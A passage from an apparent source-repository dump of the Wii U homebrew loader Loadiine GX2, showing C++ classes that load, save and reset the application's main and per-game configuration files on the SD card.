0},\n\t{\"settings_click_2.mp3\", settings_click_2_mp3, settings_click_2_mp3_size, NULL, 0},\n\t{\"switchIconBase.png\", switchIconBase_png, switchIconBase_png_size, NULL, 0},\n\t{\"switchIconBaseHighlighted.png\", switchIconBaseHighlighted_png, switchIconBaseHighlighted_png_size, NULL, 0},\n\t{\"switchIconOff.png\", switchIconOff_png, switchIconOff_png_size, NULL, 0},\n\t{\"switchIconOn.png\", switchIconOn_png, switchIconOn_png_size, NULL, 0},\n\t{NULL, NULL, 0, NULL, 0}\n};\n\n#endif\n"
  },
  {
    "path": "src/settings/CSettings.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"common/common.h\"\n#include \"CSettings.h\"\n#include \"SettingsEnums.h\"\n#include \"fs/CFile.hpp\"\n#include \"fs/fs_utils.h\"\n#include \"utils/StringTools.h\"\n#include \"language/gettext.h\"\n\n#define VERSION_LINE        \"# Loadiine GX2 - Main settings file v\"\n#define VALID_VERSION       1\n\nCSettings *CSettings::settingsInstance = NULL;\n\nCSettings::CSettings()\n{\n    bChanged = false;\n    memset(&nullValue, 0, sizeof(nullValue));\n    nullValue.strValue = new std::string();\n\n    configPath = SD_PATH WIIU_PATH \"/apps/loadiine_gx2\";\n\tthis->SetDefault();\n}\n\nCSettings::~CSettings()\n{\n    for(u32 i = 0; i < settingsValues.size(); i++)\n    {\n        if(settingsValues[i].dataType == TypeString)\n            delete settingsValues[i].strValue;\n    }\n    delete nullValue.strValue;\n}\n\nvoid CSettings::SetDefault()\n{\n    for(u32 i = 0; i < settingsValues.size(); i++)\n    {\n        if(settingsValues[i].dataType == TypeString)\n            delete settingsValues[i].strValue;\n    }\n\n    settingsNames.resize(MAX_VALUE);\n    settingsValues.resize(MAX_VALUE);\n\n    settingsNames[GameViewModeTv] = \"GameViewModeTv\";\n    settingsValues[GameViewModeTv].dataType = TypeU8;\n    settingsValues[GameViewModeTv].ucValue = VIEW_ICON_CAROUSEL;\n\n    settingsNames[GameViewModeDrc] = \"GameViewModeDrc\";\n    settingsValues[GameViewModeDrc].dataType = TypeU8;\n    settingsValues[GameViewModeDrc].ucValue = VIEW_ICON_GRID;\n\n    settingsNames[GameLaunchMethod] = \"GameLaunchMethod\";\n    settingsValues[GameLaunchMethod].dataType = TypeU8;\n    settingsValues[GameLaunchMethod].ucValue = LOADIINE_MODE_MII_MAKER;\n\n    settingsNames[GamePath] = \"GamePath\";\n    settingsValues[GamePath].dataType = TypeString;\n    settingsValues[GamePath].strValue = new std::string(SD_PATH SD_GAMES_PATH);\n\n    settingsNames[GameSavePath] = \"GameSavePath\";\n    settingsValues[GameSavePath].dataType = TypeString;\n    settingsValues[GameSavePath].strValue = new std::string(SD_PATH SD_SAVES_PATH);\n\n    settingsNames[GameLogServer] = \"GameLogServer\";\n    settingsValues[GameLogServer].dataType = TypeBool;\n    settingsValues[GameLogServer].bValue = false;\n\n    settingsNames[GameLogServerIp] = \"GameLogServerIp\";\n    settingsValues[GameLogServerIp].dataType = TypeString;\n    settingsValues[GameLogServerIp].strValue = new std::string(\"0.0.0.0\");\n\n    settingsNames[GameSaveMode] = \"GameSaveMode\";\n    settingsValues[GameSaveMode].dataType = TypeU8;\n    settingsValues[GameSaveMode].ucValue = GAME_SAVES_SHARED;\n\n    settingsNames[BgMusicPath] = \"BgMusicPath\";\n    settingsValues[BgMusicPath].dataType = TypeString;\n    settingsValues[BgMusicPath].strValue = new std::string();\n\n    settingsNames[GameCover3DPath] = \"GameCover3DPath\";\n    settingsValues[GameCover3DPath].dataType = TypeString;\n    settingsValues[GameCover3DPath].strValue = new std::string(SD_PATH WIIU_PATH \"/apps/loadiine_gx2/covers3d\");\n\n    settingsNames[ConsoleRegionCode] = \"ConsoleRegionCode\";\n    settingsValues[ConsoleRegionCode].dataType = TypeString;\n    settingsValues[ConsoleRegionCode].strValue = new std::string(\"EN\");\n\n\tsettingsNames[AppLanguage] = \"AppLanguage\";\n    settingsValues[AppLanguage].dataType = TypeString;\n    settingsValues[AppLanguage].strValue = new std::string();\n\n    settingsNames[GameStartIndex] = \"GameStartIndex\";\n    settingsValues[GameStartIndex].dataType = TypeU16;\n    settingsValues[GameStartIndex].uiValue = 0;\n\n\tsettingsNames[PadconMode] = \"PadconMode\";\n    settingsValues[PadconMode].dataType = TypeU8;\n    settingsValues[PadconMode].ucValue = SETTING_OFF;\n\n    settingsNames[LaunchPyGecko] = \"LaunchPyGecko\";\n    settingsValues[LaunchPyGecko].dataType = TypeU8;\n    settingsValues[LaunchPyGecko].ucValue = SETTING_OFF;\n\n    settingsNames[HIDPadEnabled] = \"HIDPadUse\";\n    settingsValues[HIDPadEnabled].dataType = TypeU8;\n    settingsValues[HIDPadEnabled].ucValue = SETTING_OFF;\n\n    settingsNames[HIDPadRumble] = \"HIDPadRumble\";\n    settingsValues[HIDPadRumble].dataType = TypeU8;\n    settingsValues[HIDPadRumble].ucValue = SETTING_ON;\n\n    settingsNames[HIDPadNetwork] = \"HIDPadNetwork\";\n    settingsValues[HIDPadNetwork].dataType = TypeU8;\n    settingsValues[HIDPadNetwork].ucValue = SETTING_ON;\n\n    settingsNames[ShowGameSettings] = \"ShowGameSettings\";\n    settingsValues[ShowGameSettings].dataType = TypeU8;\n    settingsValues[ShowGameSettings].ucValue = SETTING_ON;\n\n}\n\nbool CSettings::Load()\n{\n\t//! Reset default path variables to the right device\n\tSetDefault();\n\n\n\tstd::string filepath = configPath;\n\tfilepath += \"/loadiine_gx2.cfg\";\n\n\tCFile file(filepath, CFile::ReadOnly);\n\tif (!file.isOpen())\n        return false;\n\n    std::string strBuffer;\n    strBuffer.resize(file.size());\n    file.read((u8 *) &strBuffer[0], strBuffer.size());\n    file.close();\n\n    //! remove all windows crap signs\n    size_t position;\n    while(1)\n    {\n        position = strBuffer.find('\\r');\n        if(position == std::string::npos)\n            break;\n\n        strBuffer.erase(position, 1);\n    }\n\n\tstd::vector<std::string> lines = stringSplit(strBuffer, \"\\n\");\n\n\n\tif(lines.empty() || !ValidVersion(lines[0]))\n\t\treturn false;\n\n\tfor(u32 i = 0; i < lines.size(); ++i)\n    {\n        std::vector<std::string> valueSplit = stringSplit(lines[i], \"=\");\n        if(valueSplit.size() != 2)\n            continue;\n\n        while((valueSplit[0].size() > 0) && valueSplit[0][0] == ' ')\n            valueSplit[0].erase(0, 1);\n\n        while((valueSplit[1].size() > 0) && valueSplit[1][ valueSplit[1].size() - 1 ] == ' ')\n            valueSplit[1].resize(valueSplit[1].size() - 1);\n\n        for(u32 n = 0; n < settingsNames.size(); n++)\n        {\n            if(!settingsNames[n])\n                continue;\n\n            if(valueSplit[0] == settingsNames[n])\n            {\n                switch(settingsValues[n].dataType)\n                {\n                    case TypeBool:\n                        settingsValues[n].bValue = atoi(valueSplit[1].c_str());\n                        break;\n                    case TypeS8:\n                        settingsValues[n].cValue = atoi(valueSplit[1].c_str());\n                        break;\n                    case TypeU8:\n                        settingsValues[n].ucValue = atoi(valueSplit[1].c_str());\n                        break;\n                    case TypeS16:\n                        settingsValues[n].sValue = atoi(valueSplit[1].c_str());\n                        break;\n                    case TypeU16:\n                        settingsValues[n].usValue = atoi(valueSplit[1].c_str());\n                        break;\n                    case TypeS32:\n                        settingsValues[n].iValue = atoi(valueSplit[1].c_str());\n                        break;\n                    case TypeU32:\n                        settingsValues[n].uiValue = strtoul(valueSplit[1].c_str(), 0, 10);\n                        break;\n                    case TypeF32:\n                        settingsValues[n].fValue = atof(valueSplit[1].c_str());\n                        break;\n                    case TypeString:\n                        if(settingsValues[n].strValue == NULL)\n                            settingsValues[n].strValue = new std::string();\n\n                        *settingsValues[n].strValue = valueSplit[1];\n                        break;\n                    default:\n                        break;\n                }\n            }\n        }\n    }\n\n\treturn true;\n}\n\nbool CSettings::ValidVersion(const std::string & versionString)\n{\n\tint version = 0;\n\n    if(versionString.find(VERSION_LINE) != 0)\n        return false;\n\n    version = atoi(versionString.c_str() + strlen(VERSION_LINE));\n\n\treturn version == VALID_VERSION;\n}\n\nbool CSettings::Reset()\n{\n\tthis->SetDefault();\n\tbChanged = true;\n\n\tif (this->Save())\n        return true;\n\n\treturn false;\n}\n\nbool CSettings::Save()\n{\n    if(!bChanged)\n        return true;\n\n    CreateSubfolder(configPath.c_str());\n\n\tstd::string filepath = configPath;\n\tfilepath += \"/loadiine_gx2.cfg\";\n\n\tCFile file(filepath, CFile::WriteOnly);\n\tif (!file.isOpen())\n        return false;\n\n\tfile.fwrite(\"%s%i\\n\", VERSION_LINE, VALID_VERSION);\n\n\tfor(u32 i = 0; i < settingsValues.size(); i++)\n    {\n        switch(settingsValues[i].dataType)\n        {\n            case TypeBool:\n                file.fwrite(\"%s=%i\\n\", settingsNames[i], settingsValues[i].bValue);\n                break;\n            case TypeS8:\n                file.fwrite(\"%s=%i\\n\", settingsNames[i], settingsValues[i].cValue);\n                break;\n            case TypeU8:\n                file.fwrite(\"%s=%i\\n\", settingsNames[i], settingsValues[i].ucValue);\n                break;\n            case TypeS16:\n                file.fwrite(\"%s=%i\\n\", settingsNames[i], settingsValues[i].sValue);\n                break;\n            case TypeU16:\n                file.fwrite(\"%s=%i\\n\", settingsNames[i], settingsValues[i].usValue);\n                break;\n            case TypeS32:\n                file.fwrite(\"%s=%i\\n\", settingsNames[i], settingsValues[i].iValue);\n                break;\n            case TypeU32:\n                file.fwrite(\"%s=%u\\n\", settingsNames[i], settingsValues[i].uiValue);\n                break;\n            case TypeF32:\n                file.fwrite(\"%s=%f\\n\", settingsNames[i], settingsValues[i].fValue);\n                break;\n            case TypeString:\n                if(settingsValues[i].strValue != NULL)\n                    file.fwrite(\"%s=%s\\n\", settingsNames[i], settingsValues[i].strValue->c_str());\n                break;\n            default:\n                break;\n        }\n    }\n\n    file.close();\n    bChanged = false;\n\n\treturn true;\n}\n"
  },
  {
    "path": "src/settings/CSettings.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _CSETTINGS_H_\n#define _CSETTINGS_H_\n\n#include <string>\n#include <stdio.h>\n#include <gctypes.h>\n#include <vector>\n#include \"SettingsEnums.h\"\n\nclass CSettings\n{\npublic:\n    static CSettings *instance() {\n        if(!settingsInstance)\n            settingsInstance = new CSettings();\n\n        return settingsInstance;\n    }\n\n    static void destroyInstance() {\n        if(settingsInstance){\n            delete settingsInstance;\n            settingsInstance = NULL;\n        }\n    }\n\n    //!Set Default Settings\n    void SetDefault();\n    //!Load Settings\n    bool Load();\n    //!Save Settings\n    bool Save();\n    //!Reset Settings\n    bool Reset();\n\n\n\n    enum DataTypes\n    {\n        TypeNone,\n        TypeBool,\n        TypeS8,\n        TypeU8,\n        TypeS16,\n        TypeU16,\n        TypeS32,\n        TypeU32,\n        TypeF32,\n        TypeString\n    };\n\n\n    enum SettingsIdx\n    {\n        INVALID = -1,\n        GameViewModeTv,\n        GameViewModeDrc,\n        GameLaunchMethod,\n        GamePath,\n        GameSavePath,\n        GameLogServer,\n        GameLogServerIp,\n        GameSaveMode,\n        BgMusicPath,\n        GameCover3DPath,\n        ConsoleRegionCode,\n\t\tAppLanguage,\n        GameStartIndex,\n\t\tPadconMode,\n        LaunchPyGecko,\n        HIDPadEnabled,\n        HIDPadRumble,\n        HIDPadNetwork,\n        ShowGameSettings,\n        MAX_VALUE\n    };\n\n    static const u8 & getDataType(int idx)\n    {\n        if(idx > INVALID && idx < MAX_VALUE)\n            return instance()->settingsValues[idx].dataType;\n\n        return instance()->nullValue.dataType;\n    }\n\n    static const bool & getValueAsBool(int idx)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeBool)\n            return instance()->settingsValues[idx].bValue;\n\n        return instance()->nullValue.bValue;\n    }\n    static const s8 & getValueAsS8(int idx)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeS8)\n            return instance()->settingsValues[idx].cValue;\n\n        return instance()->nullValue.cValue;\n    }\n    static const u8 & getValueAsU8(int idx)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeU8)\n            return instance()->settingsValues[idx].ucValue;\n\n        return instance()->nullValue.ucValue;\n    }\n    static const s16 & getValueAsS16(int idx)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeS16)\n            return instance()->settingsValues[idx].sValue;\n\n        return instance()->nullValue.sValue;\n    }\n    static const u16 & getValueAsU16(int idx)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeU16)\n            return instance()->settingsValues[idx].usValue;\n\n        return instance()->nullValue.usValue;\n    }\n    static const s32 & getValueAsS32(int idx)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeS32)\n            return instance()->settingsValues[idx].iValue;\n\n        return instance()->nullValue.iValue;\n    }\n    static const u32 & getValueAsU32(int idx)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeU32)\n            return instance()->settingsValues[idx].uiValue;\n\n        return instance()->nullValue.uiValue;\n    }\n    static const f32 & getValueAsF32(int idx)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeF32)\n            return instance()->settingsValues[idx].fValue;\n\n        return instance()->nullValue.fValue;\n    }\n    static const std::string & getValueAsString(int idx)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeString && instance()->settingsValues[idx].strValue)\n            return *(instance()->settingsValues[idx].strValue);\n\n        return *(instance()->nullValue.strValue);\n    }\n\n\n\n    static void setValueAsBool(int idx, const bool & val)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeBool)\n        {\n            instance()->settingsValues[idx].bValue = val;\n            instance()->bChanged = true;\n        }\n    }\n    static void setValueAsS8(int idx, const s8 & val)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeS8)\n        {\n            instance()->settingsValues[idx].cValue = val;\n            instance()->bChanged = true;\n        }\n    }\n    static void setValueAsU8(int idx, const u8 & val)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeU8)\n        {\n            instance()->settingsValues[idx].ucValue = val;\n            instance()->bChanged = true;\n        }\n    }\n    static void setValueAsS16(int idx, const s16 & val)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeS16)\n        {\n            instance()->settingsValues[idx].sValue = val;\n            instance()->bChanged = true;\n        }\n    }\n    static void setValueAsU16(int idx, const u16 & val)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeU16)\n        {\n            instance()->settingsValues[idx].usValue = val;\n            instance()->bChanged = true;\n        }\n    }\n    static void setValueAsS32(int idx, const s32 & val)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeS32)\n        {\n            instance()->settingsValues[idx].iValue = val;\n            instance()->bChanged = true;\n        }\n    }\n    static void setValueAsU32(int idx, const u32 & val)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeU32)\n        {\n            instance()->settingsValues[idx].uiValue = val;\n            instance()->bChanged = true;\n        }\n    }\n    static void setValueAsF32(int idx, const f32 & val)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeF32)\n        {\n            instance()->settingsValues[idx].fValue = val;\n            instance()->bChanged = true;\n        }\n    }\n    static void setValueAsString(int idx, const std::string & val)\n    {\n        if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeString && instance()->settingsValues[idx].strValue)\n        {\n            *(instance()->settingsValues[idx].strValue) = val;\n            instance()->bChanged = true;\n        }\n    }\nprotected:\n    //!Constructor\n    CSettings();\n    //!Destructor\n    ~CSettings();\n\n    bool ValidVersion(const std::string & versionString);\n\n    static CSettings *settingsInstance;\n\n    typedef struct\n    {\n        u8 dataType;\n\n        union\n        {\n            bool bValue;\n            s8 cValue;\n            u8 ucValue;\n            s16 sValue;\n            u16 usValue;\n            s32 iValue;\n            u32 uiValue;\n            f32 fValue;\n            std::string *strValue;\n        };\n    } SettingValue;\n\n    SettingValue nullValue;\n    std::string configPath;\n    std::vector<SettingValue> settingsValues;\n    std::vector<const char*> settingsNames;\n\n    bool bChanged;\n};\n\n#endif\n"
  },
  {
    "path": "src/settings/CSettingsGame.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"common/common.h\"\n#include \"CSettingsGame.h\"\n#include \"SettingsEnums.h\"\n#include \"fs/CFile.hpp\"\n#include \"fs/fs_utils.h\"\n#include \"utils/StringTools.h\"\n#include \"utils/logger.h\"\n\n#define VERSION_LINE        \"# Loadiine GX2 - Game settings file v\"\n#define VALID_VERSION       1\n\nCSettingsGame *CSettingsGame::instance = NULL;\n\nCSettingsGame::CSettingsGame()\n{\n\tInitSettingsNames();\n    this->configPath = SD_PATH  WIIU_PATH \"/apps/loadiine_gx2\";\n\tthis->filename = \"loadiine_gx2_games.cfg\";\n\tLoad();\n\tPrintLoadedGames();\n}\n\nCSettingsGame::~CSettingsGame()\n{\n\t/*\n    for(u32 i = 0; i < settingsGames.size(); i++){\n\t\tfor(u32 j = 0; j < settingsGames[i].settingsValues.size(); j++){\n\t\t\tif(settingsGames[i].settingsValues.at(j).dataType == TypeString)\n\t\t\t\tdelete settingsGames[i].settingsValues.at(j).strValue;\n\t\t}\n    }*/\n}\n\nbool CSettingsGame::ValidVersion(const std::string & versionString)\n{\n\tint version = 0;\n\n    if(versionString.find(VERSION_LINE) != 0)\n        return false;\n\n    version = atoi(versionString.c_str() + strlen(VERSION_LINE));\n\n\treturn version == VALID_VERSION;\n}\n\nvoid CSettingsGame::PrintLoadedGames(){\n\tlog_print(\"Loaded Games\\n\");\n\tstd::map<std::string,GameSettings>::iterator itr;\n\n\tfor(itr = settingsGames.begin(); itr != settingsGames.end(); itr++) {\n\t\tGameSettings set = itr->second;\n\t\tlog_printf(\"%s=%s;%s=%s;%s=%d;%s=%d,%s=%d\\n\",\"ID6\",\titr->first.c_str(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsettingsNames[UpdateFolder],set.updateFolder.c_str(),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsettingsNames[ExtraSaveFile],set.extraSave,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsettingsNames[SaveMethod],set.save_method,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsettingsNames[LaunchMethod],set.launch_method);\n\t}\n\n\tlog_print(\"End Loaded Games\\n\");\n }\n\nbool CSettingsGame::Load()\n{\n\tstd::string filepath = configPath;\n\tfilepath += \"/\" +this->filename;\n\n\tCFile file(filepath, CFile::ReadOnly);\n\tif (!file.isOpen())\n        return false;\n\n    std::string strBuffer;\n    strBuffer.resize(file.size());\n    file.read((u8 *) &strBuffer[0], strBuffer.size());\n    file.close();\n\n    //! remove all windows crap signs\n    size_t position;\n    while(1)\n    {\n        position = strBuffer.find('\\r');\n        if(position == std::string::npos)\n            break;\n\n        strBuffer.erase(position, 1);\n    }\n\n\tstd::vector<std::string> lines_ = stringSplit(strBuffer, \"\\n\");\n\tif(lines_.empty() || !ValidVersion(lines_[0]))\n\t\treturn false;\n\n\tfor(u32 j = 1; j < lines_.size(); ++j){\n\t\tstd::vector<std::string> lines = stringSplit(lines_[j], \";\");\n\n\t\tif(lines.empty())\n\t\t\treturn false;\n\n\t\tstd::string ID6 = lines[0];\n\n\t\tstd::vector<CSettingsGame::SettingValue> newValues = getSettingValuesFromGameSettings(std::string(COMMON_UPDATE_PATH), false, GAME_SAVES_DEFAULT, LOADIINE_MODE_DEFAULT, SETTING_OFF);\n\n\t\tfor(u32 i = 1; i < lines.size(); ++i)\n\t\t{\n\t\t\tstd::vector<std::string> valueSplit = stringSplit(lines[i], \"=\");\n\t\t\tif(valueSplit.size() != 2)\n\t\t\t\tcontinue;\n\n\t\t\twhile((valueSplit[0].size() > 0) && valueSplit[0][0] == ' ')\n\t\t\t\tvalueSplit[0].erase(0, 1);\n\n\t\t\twhile((valueSplit[1].size() > 0) && valueSplit[1][ valueSplit[1].size() - 1 ] == ' ')\n\t\t\t\tvalueSplit[1].resize(valueSplit[1].size() - 1);\n\n\t\t\tfor(u32 n = 0; n < settingsNames.size(); n++)\n\t\t\t{\n\t\t\t\tif(!settingsNames[n])\n\t\t\t\t\tcontinue;\n\n\t\t\t\tif(valueSplit[0] == settingsNames[n])\n\t\t\t\t{\n\t\t\t\t\tswitch(newValues.at(n).dataType)\n\t\t\t\t\t{\n\t\t\t\t\t\tcase TypeBool:\n\t\t\t\t\t\t\tnewValues.at(n).bValue = atoi(valueSplit[1].c_str());\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase TypeS8:\n\t\t\t\t\t\t\tnewValues.at(n).cValue = atoi(valueSplit[1].c_str());\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase TypeU8:\n\t\t\t\t\t\t\tnewValues.at(n).ucValue = atoi(valueSplit[1].c_str());\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase TypeS16:\n\t\t\t\t\t\t\tnewValues.at(n).sValue = atoi(valueSplit[1].c_str());\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase TypeU16:\n\t\t\t\t\t\t\tnewValues.at(n).usValue = atoi(valueSplit[1].c_str());\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase TypeS32:\n\t\t\t\t\t\t\tnewValues.at(n).iValue = atoi(valueSplit[1].c_str());\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase TypeU32:\n\t\t\t\t\t\t\tnewValues.at(n).uiValue = strtoul(valueSplit[1].c_str(), 0, 10);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase TypeF32:\n\t\t\t\t\t\t\tnewValues.at(n).fValue = atof(valueSplit[1].c_str());\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase TypeString:\n\t\t\t\t\t\t\tif(newValues.at(n).strValue == NULL)\n\t\t\t\t\t\t\t\tnewValues.at(n).strValue = new std::string();\n\t\t\t\t\t\t\t*newValues.at(n).strValue = valueSplit[1];\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tGameSettings * set = GetGameSettingsBySettingGameValue(ID6,newValues);\n\n\t\t//Clean pointer\n\t\tfor(u32 j = 0; j < newValues.size(); j++){\n\t\t\tif(newValues.at(j).dataType == TypeString)\n\t\t\t\tdelete newValues.at(j).strValue;\n\t\t}\n\n\t\tsettingsGames[ID6] = *set;\n\t\tdelete set;\n\t}\n\n\treturn true;\n}\n\nbool CSettingsGame::LoadGameSettings(std::string ID6, GameSettings & result){\n    //log_printf(\"LoadGameSettings for ID6: %s\\n\",ID6.c_str());\n    std::map<std::string,GameSettings>::iterator itr;\n    itr = settingsGames.find(ID6);\n    if(itr != settingsGames.end()){// existiert\n        result = itr->second;\n        return true;\n    }\n    else\n    {\n        result.ID6 = ID6;\n        result.extraSave = false;\n        result.launch_method = LOADIINE_MODE_DEFAULT;\n        result.save_method = GAME_SAVES_DEFAULT;\n        result.updateFolder = COMMON_UPDATE_PATH;\n        result.EnableDLC = SETTING_OFF;\n        return false;\n    }\n}\n\nbool CSettingsGame::SaveGameSettings(const GameSettings & gSetttings)\n{\n\tsettingsGames[gSetttings.ID6] = gSetttings;\n\n\tbChanged = true;\n\treturn Save();\n}\n\nbool CSettingsGame::Save()\n{\n    if(!bChanged)\n        return true;\n\n    CreateSubfolder(configPath.c_str());\n\n\tstd::string filepath = configPath;\n\tfilepath += \"/\" + this->filename;\n\n\tCFile file(filepath, CFile::WriteOnly);\n\tif (!file.isOpen())\n        return false;\n\tstd::string strBuffer;\n\tstrBuffer += strfmt(\"%s%i\\n\", VERSION_LINE, VALID_VERSION);\n\n\tstd::map<std::string,GameSettings>::iterator itr;\n\tfor(itr = settingsGames.begin(); itr != settingsGames.end(); itr++) {\n\n\t\tGameSettings game_settings = itr->second;\n\t\tstd::vector<CSettingsGame::CSettingsGame::SettingValue> setvalues = getSettingValuesFromGameSettings(game_settings);\n\t\tCSettingsGame::SettingValue value;\n\t\tstrBuffer += strfmt(\"%s;\", itr->first.c_str());\n\t\tfor(u32 j = 0; j < MAX_VALUE; j++){\n\t\t\tvalue = setvalues.at(j);\n\t\t\tswitch(value.dataType){\n\t\t\t\tcase TypeBool:\n\t\t\t\t\tstrBuffer += strfmt(\"%s=%i\", settingsNames[j], value.bValue);\n\t\t\t\t\tbreak;\n\t\t\t\tcase TypeS8:\n\t\t\t\t\tstrBuffer += strfmt(\"%s=%i\", settingsNames[j], value.cValue);\n\t\t\t\t\tbreak;\n\t\t\t\tcase TypeU8:\n\t\t\t\t\tstrBuffer += strfmt(\"%s=%i\", settingsNames[j], value.ucValue);\n\t\t\t\t\tbreak;\n\t\t\t\tcase TypeS16:\n\t\t\t\t\tstrBuffer += strfmt(\"%s=%i\", settingsNames[j], value.sValue);\n\t\t\t\t\tbreak;\n\t\t\t\tcase TypeU16:\n\t\t\t\t\tstrBuffer += strfmt(\"%s=%i\", settingsNames[j], value.usValue);\n\t\t\t\t\tbreak;\n\t\t\t\tcase TypeS32:\n\t\t\t\t\tstrBuffer += strfmt(\"%s=%i\", settingsNames[j], value.iValue);\n\t\t\t\t\tbreak;\n\t\t\t\tcase TypeU32:\n\t\t\t\t\tstrBuffer += strfmt(\"%s=%u\", settingsNames[j], value.uiValue);\n\t\t\t\t\tbreak;\n\t\t\t\tcase TypeF32:\n\t\t\t\t\tstrBuffer += strfmt(\"%s=%f\", settingsNames[j], value.fValue);\n\t\t\t\t\tbreak;\n\t\t\t\tcase TypeString:\n\t\t\t\t\tif(value.strValue != NULL)\n\t\t\t\t\t\tstrBuffer += strfmt(\"%s=%s\", settingsNames[j], value.strValue->c_str());\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tstrBuffer += strfmt(\";\");\n\t\t}\n\t\tstrBuffer += strfmt(\"\\n\");\n\t\t//Clean pointer\n\t\tfor(u32 j = 0; j < setvalues.size(); j++){\n\t\t\tif(setvalues.at(j).dataType == TypeString)\n\t\t\t\tdelete setvalues.at(j).strValue;\n\t\t}\n    }\n\tfile.write((u8*)strBuffer.c_str(), strBuffer.size());\n    file.close();\n    bChanged = false;\n\n\treturn true;\n}\n\nstd::vector<CSettingsGame::SettingValue> CSettingsGame::getSettingValuesFromGameSettings(GameSettings gameSettings){\n\treturn getSettingValuesFromGameSettings(gameSettings.updateFolder,gameSettings.extraSave,gameSettings.save_method,gameSettings.launch_method,gameSettings.EnableDLC);\n}\n\nstd::vector<CSettingsGame::SettingValue> CSettingsGame::getSettingValuesFromGameSettings(std::string updateFolder,bool extraSave,u8 save_method,u8 launch_method, u8 enableDlc){\n\tstd::vector<CSettingsGame::SettingValue> result;\n\n\tresult = std::vector<CSettingsGame::SettingValue>();\n\tresult.resize(MAX_VALUE);\n\n\tresult.at(UpdateFolder).dataType = TypeString;\n\tresult.at(UpdateFolder).strValue = new std::string(updateFolder);\n\tresult.at(ExtraSaveFile).dataType = TypeBool;\n\tresult.at(ExtraSaveFile).bValue = extraSave;\n\tresult.at(SaveMethod).dataType = TypeU8;\n\tresult.at(SaveMethod).ucValue = save_method;\n\tresult.at(LaunchMethod).dataType = TypeU8;\n\tresult.at(LaunchMethod).ucValue = launch_method;\n\tresult.at(EnableDLC).dataType = TypeU8;\n\tresult.at(EnableDLC).ucValue = enableDlc;\n\treturn result;\n}\n\n\nGameSettings * CSettingsGame::GetGameSettingsBySettingGameValue(std::string ID6,std::vector<CSettingsGame::SettingValue> settings){\n\tGameSettings *  set = new 